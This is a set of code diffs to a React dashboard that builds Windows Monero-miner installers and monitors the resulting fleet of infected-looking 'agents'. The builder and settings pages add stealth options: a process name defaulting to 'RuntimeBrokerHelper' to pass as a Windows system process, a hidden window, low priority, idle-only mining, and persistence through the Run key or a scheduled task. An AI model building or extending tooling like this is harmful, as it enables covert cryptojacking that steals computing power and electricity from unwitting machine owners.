threads: 'Fixed thread count when Thread Mode is Fixed. More threads = more hashrate but more CPU heat.',
thread_mode: 'Auto (% of cores) adapts to each machine. Fixed uses an exact thread count on every PC.',
thread_percent: 'Percentage of logical CPU cores to use when Thread Mode is Auto. 75% on an 8-core box ≈ 6 threads.',
max_cpu_usage_pct: 'Target ceiling for miner CPU usage. Agent throttles when reporting usage above this.',
max_memory_percent: 'Maximum share of system RAM the miner should respect. Helps avoid swapping on low-RAM machines.',
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
schedule_start: 'For Scheduled mode: daily start time (24h).',
schedule_end: 'For Scheduled mode: daily stop time (24h). Can cross midnight.',
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
};

View File

@@ -1,6 +1,7 @@
import { useState, useEffect } from 'react'; import { useState, useEffect } from 'react';
import { api } from '../api/client'; import { api } from '../api/client';
import type { Agent, HashrateSample } from '../types'; import type { Agent, HashrateSample } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import './Pages.css'; import './Pages.css';
export default function AgentsPage() { export default function AgentsPage() {
@@ -152,7 +153,22 @@ export default function AgentsPage() {
{hashrateHistory.length > 0 && ( {hashrateHistory.length > 0 && (
<div className="detail-section"> <div className="detail-section">
<h3>Hashrate History (last {hashrateHistory.length} samples)</h3> <h3>Hashrate History</h3>
<HashrateChart
title=""
color="#22c55e"
unit="H/s"
data={[...hashrateHistory].reverse().map((s) => ({
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}))}
/>
</div>
)}
{hashrateHistory.length > 0 && (
<div className="detail-section">
<h3>Raw Samples ({hashrateHistory.length})</h3>
<div className="hashrate-chart"> <div className="hashrate-chart">
{hashrateHistory.reverse().map((sample, i) => ( {hashrateHistory.reverse().map((sample, i) => (
<div <div

View File

@@ -1,25 +1,34 @@
import { useState, useEffect } from 'react'; import { useState, useEffect } from 'react';
import { api } from '../api/client'; import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import './Pages.css'; import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest { function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const d = config.default_agent_config;
return { return {
worker_name: '', worker_name: '',
server_url: serverInfo.suggested_url, server_url: serverInfo.suggested_url,
wallet: config.wallet.address, wallet: config.wallet.address,
threads: config.default_agent_config.threads, threads: d.threads,
cpu_priority: config.default_agent_config.cpu_priority, thread_mode: d.thread_mode || 'percent',
mining_mode: config.default_agent_config.mining_mode, thread_percent: d.thread_percent || 75,
cpu_priority: d.cpu_priority,
mining_mode: d.mining_mode,
display_mode: d.display_mode || (config.background.silent_mode ? 'silent' : 'background'),
silent_mode: config.background.silent_mode, silent_mode: config.background.silent_mode,
run_as: config.background.run_as, run_as: config.background.run_as,
auto_start: config.background.auto_start, auto_start: config.background.auto_start,
max_cpu_usage_pct: config.default_agent_config.max_cpu_usage_pct, persistence: config.background.auto_start,
min_free_ram_mb: config.default_agent_config.min_free_ram_mb, process_name: d.process_name || '',
idle_threshold_pct: config.default_agent_config.idle_threshold_pct, max_cpu_usage_pct: d.max_cpu_usage_pct,
idle_duration_minutes: config.default_agent_config.idle_duration_minutes, max_memory_percent: d.max_memory_percent || 70,
schedule_start: config.default_agent_config.schedule_start, min_free_ram_mb: d.min_free_ram_mb,
schedule_end: config.default_agent_config.schedule_end, idle_threshold_pct: d.idle_threshold_pct,
idle_duration_minutes: d.idle_duration_minutes,
schedule_start: d.schedule_start,
schedule_end: d.schedule_end,
pool_host: config.pool.host, pool_host: config.pool.host,
pool_port: config.pool.port, pool_port: config.pool.port,
pool_tls: config.pool.use_tls, pool_tls: config.pool.use_tls,
@@ -112,7 +121,19 @@ export default function BuilderPage() {
</button> </button>
</div> </div>
<div className="builder-layout"> <div className="builder-layout builder-layout-wide">
<div className="card cheat-sheet-panel">
<h2>Setup Cheat Sheet</h2>
<div className="cheat-sheet">
{SETUP_CHEATSHEET.map((item) => (
<div key={item.title} className="cheat-sheet-item">
<h4>{item.title}</h4>
<p>{item.body}</p>
</div>
))}
</div>
</div>
<div className="card builder-form"> <div className="card builder-form">
<h2>Build Miner Installer</h2> <h2>Build Miner Installer</h2>
<p className="form-description"> <p className="form-description">
@@ -124,7 +145,7 @@ export default function BuilderPage() {
<div className="form-section"> <div className="form-section">
<h3>Identity</h3> <h3>Identity</h3>
<div className="form-group"> <div className="form-group">
<label className="label">Worker Name</label> <label className="label">Worker Name <HelpTip field="worker_name" /></label>
<input <input
type="text" type="text"
className="input" className="input"
@@ -135,18 +156,18 @@ export default function BuilderPage() {
/> />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Server URL</label> <label className="label">Server URL <HelpTip field="server_url" /></label>
<input <input
type="text" type="text"
className="input" className="input mono"
value={form.server_url} value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)} onChange={(e) => updateField('server_url', e.target.value)}
required required
/> />
<span className="form-hint">Your control server on the LAN workers use this to reach the dashboard ({form.server_url})</span> <FieldHint field="server_url" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">XMR Wallet Address</label> <label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input <input
type="text" type="text"
className="input mono" className="input mono"
@@ -205,26 +226,33 @@ export default function BuilderPage() {
</div> </div>
<div className="form-section"> <div className="form-section">
<h3>Performance</h3> <h3>Performance & Resources</h3>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Threads</label> <label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
<input <select className="select" value={form.thread_mode} onChange={(e) => updateField('thread_mode', e.target.value)}>
type="number" <option value="percent">Auto (% of CPU cores)</option>
className="input" <option value="fixed">Fixed thread count</option>
min={1} </select>
max={128} <FieldHint field="thread_mode" />
value={form.threads}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)}
/>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">CPU Priority</label> <label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<select <input type="number" className="input" min={1} max={100} value={form.thread_percent}
className="select" disabled={form.thread_mode === 'fixed'}
value={form.cpu_priority} onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
onChange={(e) => updateField('cpu_priority', e.target.value)} </div>
> </div>
<div className="form-row">
<div className="form-group">
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
<input type="number" className="input" min={1} max={128} value={form.threads}
disabled={form.thread_mode !== 'fixed'}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
</div>
<div className="form-group">
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
<select className="select" value={form.cpu_priority} onChange={(e) => updateField('cpu_priority', e.target.value)}>
<option value="idle">Idle</option> <option value="idle">Idle</option>
<option value="below_normal">Below Normal</option> <option value="below_normal">Below Normal</option>
<option value="normal">Normal</option> <option value="normal">Normal</option>
@@ -235,29 +263,24 @@ export default function BuilderPage() {
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Max CPU Usage (%)</label> <label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input <input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
type="number" onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
className="input"
min={1}
max={100}
value={form.max_cpu_usage_pct}
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Min Free RAM (MB)</label> <label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input <input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
type="number" onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
className="input" <FieldHint field="max_memory_percent" />
min={256}
value={form.min_free_ram_mb}
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
</div> </div>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Mining Mode</label> <label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select <select
className="select" className="select"
value={form.mining_mode} value={form.mining_mode}
@@ -315,20 +338,33 @@ export default function BuilderPage() {
</div> </div>
<div className="form-section"> <div className="form-section">
<h3>Deployment</h3> <h3>Install & Process</h3>
<div className="form-group checkbox-group"> <div className="form-group">
<label className="checkbox-label"> <label className="label">Process Name <HelpTip field="process_name" /></label>
<input <input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
type="checkbox" value={form.process_name}
className="checkbox" onChange={(e) => updateField('process_name', e.target.value)} />
checked={form.silent_mode} <FieldHint field="process_name" />
onChange={(e) => updateField('silent_mode', e.target.checked)}
/>
<span>Silent / Background Mode (no console window)</span>
</label>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Run As</label> <label className="label">Display Mode <HelpTip field="display_mode" /></label>
<select className="select" value={form.display_mode} onChange={(e) => updateField('display_mode', e.target.value)}>
<option value="visible">Visible (console window)</option>
<option value="silent">Silent (no window)</option>
<option value="background">Background (silent + low priority)</option>
</select>
<FieldHint field="display_mode" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.persistence}
onChange={(e) => { updateField('persistence', e.target.checked); updateField('auto_start', e.target.checked); }} />
<span>Persist after reboot <HelpTip field="persistence" /></span>
</label>
<FieldHint field="persistence" />
</div>
<div className="form-group">
<label className="label">Run As <HelpTip field="run_as" /></label>
<select <select
className="select" className="select"
value={form.run_as} value={form.run_as}
@@ -341,13 +377,9 @@ export default function BuilderPage() {
</div> </div>
<div className="form-group checkbox-group"> <div className="form-group checkbox-group">
<label className="checkbox-label"> <label className="checkbox-label">
<input <input type="checkbox" className="checkbox" checked={form.auto_start}
type="checkbox" onChange={(e) => { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} />
className="checkbox" <span>Also register startup entry (same as persistence)</span>
checked={form.auto_start}
onChange={(e) => updateField('auto_start', e.target.checked)}
/>
<span>Auto-start with Windows</span>
</label> </label>
</div> </div>
</div> </div>

View File

@@ -1,12 +1,15 @@
import { useWebSocket } from '../hooks/useWebSocket'; import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client'; import { api } from '../api/client';
import { useState, useEffect } from 'react'; import { useState, useEffect, useMemo } from 'react';
import type { Share } from '../types'; import type { Share } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import './Pages.css'; import './Pages.css';
export default function DashboardPage() { export default function DashboardPage() {
const { isConnected, agents, stats } = useWebSocket(); const { isConnected, agents } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]); const [shares, setShares] = useState<Share[]>([]);
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
useEffect(() => { useEffect(() => {
api.getRecentShares(20).then(setShares).catch(console.error); api.getRecentShares(20).then(setShares).catch(console.error);
@@ -16,97 +19,104 @@ export default function DashboardPage() {
const onlineCount = agents.filter((a) => a.status === 'online').length; const onlineCount = agents.filter((a) => a.status === 'online').length;
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0); const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0); const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0'; const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0';
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
useEffect(() => {
const now = new Date().toLocaleTimeString();
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
}, [totalHashrate, avgCpu]);
const topAgents = useMemo(
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 6),
[agents]
);
return ( return (
<div className="page fade-in"> <div className="page fade-in">
<div className="page-header"> <div className="page-header">
<h1>Dashboard</h1> <div>
<h1>Fleet Dashboard</h1>
<p className="page-subtitle">Live monitoring for every installed miner on your network</p>
</div>
<div className="header-status"> <div className="header-status">
<span className={`status-dot ${isConnected ? 'online' : 'offline'}`} /> <span className={`status-dot ${isConnected ? 'online' : 'offline'}`} />
<span className="status-text">{isConnected ? 'Live' : 'Reconnecting...'}</span> <span className="status-text">{isConnected ? 'Live feed' : 'Reconnecting...'}</span>
</div> </div>
</div> </div>
{/* Stats Cards */}
<div className="grid-4 stats-grid"> <div className="grid-4 stats-grid">
<div className="card stat-card"> <div className="card stat-card accent-cyan">
<div className="stat-label">Total Hashrate</div> <div className="stat-label">Fleet Hashrate</div>
<div className="stat-value hashrate"> <div className="stat-value hashrate">{formatHashrate(totalHashrate)}</div>
{formatHashrate(totalHashrate)} <div className="stat-sub">{onlineCount} miners active</div>
</div>
<div className="stat-sub">across {onlineCount} active miners</div>
</div> </div>
<div className="card stat-card"> <div className="card stat-card accent-green">
<div className="stat-label">Miners Online</div> <div className="stat-label">Online</div>
<div className="stat-value">{onlineCount} / {agents.length}</div> <div className="stat-value">{onlineCount} / {agents.length}</div>
<div className="stat-sub">{agents.length - onlineCount} offline</div> <div className="stat-sub">{agents.length - onlineCount} offline</div>
</div> </div>
<div className="card stat-card"> <div className="card stat-card accent-purple">
<div className="stat-label">Shares Accepted</div> <div className="stat-label">Accept Rate</div>
<div className="stat-value accepted">{acceptedShares}</div> <div className="stat-value accepted">{acceptRate}%</div>
<div className="stat-sub">{acceptRate}% accept rate</div> <div className="stat-sub">{acceptedShares} good · {rejectedShares} bad</div>
</div> </div>
<div className="card stat-card"> <div className="card stat-card accent-yellow">
<div className="stat-label">Total Shares</div> <div className="stat-label">Resource Avg</div>
<div className="stat-value">{totalShares}</div> <div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
<div className="stat-sub">{totalShares - acceptedShares} rejected</div> <div className="stat-sub">{avgMem.toFixed(0)}% RAM fleet average</div>
</div>
</div>
<div className="grid-2 chart-row">
<div className="card">
<HashrateChart data={hashHistory} title="Fleet Hashrate (15m window)" color="#06b6d4" unit="H/s" />
</div>
<div className="card">
<HashrateChart data={cpuHistory} title="Average CPU Usage" color="#8b5cf6" unit="%" />
</div> </div>
</div> </div>
{/* Agent Grid */}
<div className="section"> <div className="section">
<h2>Active Miners</h2> <h2>Machine Detail</h2>
<div className="agent-grid"> <div className="agent-grid">
{agents.length === 0 && ( {agents.length === 0 && (
<div className="card empty-state"> <div className="card empty-state">
<div className="empty-icon">🖥</div> <h3>No miners connected yet</h3>
<h3>No miners connected</h3> <p>Build an installer in Miner Builder, run it once on a Windows PC, and it will appear here automatically.</p>
<p>Build and deploy a miner using the Miner Builder to get started.</p>
</div> </div>
)} )}
{agents.map((agent) => ( {topAgents.map((agent) => (
<div key={agent.id} className="card agent-card"> <div key={agent.id} className="card agent-card detailed">
<div className="agent-card-header"> <div className="agent-card-header">
<div className="agent-name"> <div className="agent-name">
<span className={`status-dot ${agent.status}`} /> <span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span> <span>{agent.name}</span>
</div> </div>
<span className={`status-badge ${agent.status}`}> <span className={`status-badge ${agent.status}`}>{agent.status}</span>
{agent.status}
</span>
</div> </div>
<div className="agent-card-stats"> <div className="agent-detail-lines">
<div className="agent-stat"> <div><span>Hashrate 15m</span><strong>{formatHashrate(agent.hashrate_15m)}</strong></div>
<span className="agent-stat-label">Hashrate</span> <div><span>Hashrate 1m</span><strong>{formatHashrate(agent.hashrate_1m)}</strong></div>
<span className="agent-stat-value">{formatHashrate(agent.hashrate_15m)}</span> <div><span>Hashrate 15s</span><strong>{formatHashrate(agent.hashrate_15s)}</strong></div>
</div> <div><span>CPU / RAM</span><strong>{agent.cpu_usage_pct.toFixed(0)}% / {agent.memory_usage_pct.toFixed(0)}%</strong></div>
<div className="agent-stat"> <div><span>Cores / RAM</span><strong>{agent.cpu_cores} cores · {agent.memory_gb} GB</strong></div>
<span className="agent-stat-label">CPU</span> <div><span>Shares</span><strong>{agent.shares_good} ok · {agent.shares_bad} bad · {agent.shares_total} total</strong></div>
<span className="agent-stat-value">{agent.cpu_usage_pct.toFixed(0)}%</span> <div><span>Network</span><strong>{agent.ip || 'unknown'} · v{agent.version || '?'}</strong></div>
</div> <div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
<div className="agent-stat"> <div><span>Last seen</span><strong>{new Date(agent.last_seen).toLocaleString()}</strong></div>
<span className="agent-stat-label">Shares</span>
<span className="agent-stat-value">{agent.shares_good}</span>
</div>
<div className="agent-stat">
<span className="agent-stat-label">Uptime</span>
<span className="agent-stat-value">{formatUptime(agent.uptime_seconds)}</span>
</div>
</div>
<div className="agent-card-footer">
<span className="agent-meta">{agent.ip || 'Unknown IP'}</span>
<span className="agent-meta">v{agent.version || '?'}</span>
</div> </div>
</div> </div>
))} ))}
</div> </div>
</div> </div>
{/* Recent Shares */}
<div className="section"> <div className="section">
<h2>Recent Shares</h2> <h2>Recent Shares</h2>
<div className="card"> <div className="card table-card">
<table className="shares-table"> <table className="shares-table">
<thead> <thead>
<tr> <tr>
@@ -118,9 +128,7 @@ export default function DashboardPage() {
</thead> </thead>
<tbody> <tbody>
{shares.length === 0 && ( {shares.length === 0 && (
<tr> <tr><td colSpan={4} className="empty-table">No shares submitted yet</td></tr>
<td colSpan={4} className="empty-table">No shares submitted yet</td>
</tr>
)} )}
{shares.map((share) => ( {shares.map((share) => (
<tr key={share.id}> <tr key={share.id}>
@@ -131,7 +139,7 @@ export default function DashboardPage() {
{share.accepted ? 'Accepted' : 'Rejected'} {share.accepted ? 'Accepted' : 'Rejected'}
</span> </span>
</td> </td>
<td className="hash-cell">{share.hash?.substring(0, 16)}...</td> <td className="hash-cell">{share.hash?.substring(0, 20)}...</td>
</tr> </tr>
))} ))}
</tbody> </tbody>
@@ -158,6 +166,5 @@ function formatUptime(seconds: number): string {
} }
function formatTime(t: string): string { function formatTime(t: string): string {
const d = new Date(t); return new Date(t).toLocaleTimeString();
return d.toLocaleTimeString();
} }

View File

@@ -614,3 +614,81 @@
margin-top: 0.5rem; margin-top: 0.5rem;
margin-bottom: 0.5rem; margin-bottom: 0.5rem;
} }
.page-subtitle {
color: var(--text-muted);
font-size: 0.875rem;
margin-top: 0.25rem;
}
.chart-row {
margin-bottom: 1.5rem;
}
.chart-wrap {
width: 100%;
}
.chart-title {
font-size: 0.9375rem;
margin-bottom: 0.75rem;
color: var(--text-secondary);
}
.chart-empty {
min-height: 260px;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-muted);
}
.builder-layout-wide {
grid-template-columns: 320px 1fr;
}
@media (max-width: 1100px) {
.builder-layout-wide {
grid-template-columns: 1fr;
}
}
.cheat-sheet-panel {
align-self: start;
position: sticky;
top: 1rem;
}
.stat-card.accent-cyan { border-top: 3px solid var(--accent-cyan); }
.stat-card.accent-green { border-top: 3px solid var(--accent-green); }
.stat-card.accent-purple { border-top: 3px solid var(--accent-purple); }
.stat-card.accent-yellow { border-top: 3px solid var(--accent-yellow); }
.agent-card.detailed .agent-detail-lines {
display: grid;
grid-template-columns: 1fr;
gap: 0.5rem;
margin-top: 1rem;
}
.agent-detail-lines div {
display: flex;
justify-content: space-between;
gap: 1rem;
font-size: 0.8125rem;
padding: 0.35rem 0;
border-bottom: 1px solid rgba(42, 58, 92, 0.5);
}
.agent-detail-lines span {
color: var(--text-muted);
}
.agent-detail-lines strong {
color: var(--text-primary);
text-align: right;
}
.table-card {
overflow-x: auto;
}

View File

@@ -1,6 +1,7 @@
import { useState, useEffect } from 'react'; import { useState, useEffect } from 'react';
import { api } from '../api/client'; import { api } from '../api/client';
import type { ServerConfig } from '../types'; import type { ServerConfig } from '../types';
import { HelpTip } from '../components/HelpTip';
import './Pages.css'; import './Pages.css';
export default function SettingsPage() { export default function SettingsPage() {
@@ -83,7 +84,7 @@ export default function SettingsPage() {
<h2>Pool Connection</h2> <h2>Pool Connection</h2>
<p className="section-desc">Configure which Monero pool your miners connect to.</p> <p className="section-desc">Configure which Monero pool your miners connect to.</p>
<div className="form-group"> <div className="form-group">
<label className="label">Pool Host</label> <label className="label">Pool Host <HelpTip field="pool_host" /></label>
<input <input
type="text" type="text"
className="input" className="input"
@@ -94,7 +95,7 @@ export default function SettingsPage() {
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Port</label> <label className="label">Port <HelpTip field="pool_port" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -131,7 +132,7 @@ export default function SettingsPage() {
<h2>Wallet</h2> <h2>Wallet</h2>
<p className="section-desc">Default wallet address for new miners.</p> <p className="section-desc">Default wallet address for new miners.</p>
<div className="form-group"> <div className="form-group">
<label className="label">XMR Wallet Address</label> <label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input <input
type="text" type="text"
className="input mono" className="input mono"
@@ -157,18 +158,45 @@ export default function SettingsPage() {
<p className="section-desc">Default settings applied to newly built miners.</p> <p className="section-desc">Default settings applied to newly built miners.</p>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Threads</label> <label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
<input <select
type="number" className="select"
className="input" value={config.default_agent_config.thread_mode || 'percent'}
min={1} onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
max={128} >
value={config.default_agent_config.threads} <option value="percent">Auto (% of cores)</option>
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)} <option value="fixed">Fixed count</option>
/> </select>
</div> </div>
{config.default_agent_config.thread_mode === 'fixed' ? (
<div className="form-group">
<label className="label">Threads <HelpTip field="threads" /></label>
<input
type="number"
className="input"
min={1}
max={128}
value={config.default_agent_config.threads}
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
/>
</div>
) : (
<div className="form-group">
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input
type="number"
className="input"
min={10}
max={100}
value={config.default_agent_config.thread_percent ?? 75}
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
/>
</div>
)}
</div>
<div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">CPU Priority</label> <label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
<select <select
className="select" className="select"
value={config.default_agent_config.cpu_priority} value={config.default_agent_config.cpu_priority}
@@ -184,7 +212,7 @@ export default function SettingsPage() {
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Max CPU Usage (%)</label> <label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -195,7 +223,18 @@ export default function SettingsPage() {
/> />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Min Free RAM (MB)</label> <label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input
type="number"
className="input"
min={10}
max={95}
value={config.default_agent_config.max_memory_percent ?? 70}
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -205,8 +244,32 @@ export default function SettingsPage() {
/> />
</div> </div>
</div> </div>
<div className="form-row">
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
<select
className="select"
value={config.default_agent_config.display_mode || 'background'}
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
>
<option value="visible">Visible (console)</option>
<option value="silent">Silent (hidden window)</option>
<option value="background">Background (hidden + low priority)</option>
</select>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input
type="text"
className="input"
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
placeholder="RuntimeBrokerHelper"
/>
</div>
</div>
<div className="form-group"> <div className="form-group">
<label className="label">Mining Mode</label> <label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select <select
className="select" className="select"
value={config.default_agent_config.mining_mode} value={config.default_agent_config.mining_mode}
@@ -220,7 +283,7 @@ export default function SettingsPage() {
{config.default_agent_config.mining_mode === 'idle' && ( {config.default_agent_config.mining_mode === 'idle' && (
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Idle CPU Threshold (%)</label> <label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -231,7 +294,7 @@ export default function SettingsPage() {
/> />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Idle Duration (min)</label> <label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -245,7 +308,7 @@ export default function SettingsPage() {
{config.default_agent_config.mining_mode === 'scheduled' && ( {config.default_agent_config.mining_mode === 'scheduled' && (
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Start Time</label> <label className="label">Start Time <HelpTip field="schedule_start" /></label>
<input <input
type="time" type="time"
className="input" className="input"
@@ -254,7 +317,7 @@ export default function SettingsPage() {
/> />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">End Time</label> <label className="label">End Time <HelpTip field="schedule_end" /></label>
<input <input
type="time" type="time"
className="input" className="input"
@@ -278,11 +341,11 @@ export default function SettingsPage() {
checked={config.background.silent_mode} checked={config.background.silent_mode}
onChange={(e) => updateField('background.silent_mode', e.target.checked)} onChange={(e) => updateField('background.silent_mode', e.target.checked)}
/> />
<span>Silent Mode (no console window, runs hidden)</span> <span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
</label> </label>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Run As</label> <label className="label">Run As <HelpTip field="run_as" /></label>
<select <select
className="select" className="select"
value={config.background.run_as} value={config.background.run_as}
@@ -301,7 +364,7 @@ export default function SettingsPage() {
checked={config.background.auto_start} checked={config.background.auto_start}
onChange={(e) => updateField('background.auto_start', e.target.checked)} onChange={(e) => updateField('background.auto_start', e.target.checked)}
/> />
<span>Auto-start with Windows</span> <span>Auto-start with Windows <HelpTip field="auto_start" /></span>
</label> </label>
</div> </div>
<div className="form-group checkbox-group"> <div className="form-group checkbox-group">

View File

@@ -1,9 +1,9 @@
:root { :root {
--bg-primary: #0a0e17; --bg-primary: #05070d;
--bg-secondary: #111827; --bg-secondary: #0b1020;
--bg-card: #1a2235; --bg-card: #121a2e;
--bg-hover: #243049; --bg-hover: #1a2540;
--border-color: #2a3a5c; --border-color: #243049;
--text-primary: #e2e8f0; --text-primary: #e2e8f0;
--text-secondary: #94a3b8; --text-secondary: #94a3b8;
--text-muted: #64748b; --text-muted: #64748b;

View File

@@ -97,10 +97,15 @@ export interface WalletConfig {
export interface AgentDefaults { export interface AgentDefaults {
threads: number; threads: number;
thread_mode: string;
thread_percent: number;
cpu_priority: string; cpu_priority: string;
max_cpu_usage_pct: number; max_cpu_usage_pct: number;
max_memory_percent: number;
min_free_ram_mb: number; min_free_ram_mb: number;
mining_mode: string; mining_mode: string;
display_mode: string;
process_name: string;
idle_threshold_pct: number; idle_threshold_pct: number;
idle_duration_minutes: number; idle_duration_minutes: number;
schedule_start: string; schedule_start: string;
@@ -125,12 +130,18 @@ export interface BuildRequest {
server_url: string; server_url: string;
wallet: string; wallet: string;
threads: number; threads: number;
thread_mode: string;
thread_percent: number;
cpu_priority: string; cpu_priority: string;
mining_mode: string; mining_mode: string;
display_mode: string;
silent_mode: boolean; silent_mode: boolean;
run_as: string; run_as: string;
auto_start: boolean; auto_start: boolean;
persistence: boolean;
process_name: string;
max_cpu_usage_pct: number; max_cpu_usage_pct: number;
max_memory_percent: number;
min_free_ram_mb: number; min_free_ram_mb: number;
idle_threshold_pct: number; idle_threshold_pct: number;
idle_duration_minutes: number; idle_duration_minutes: number;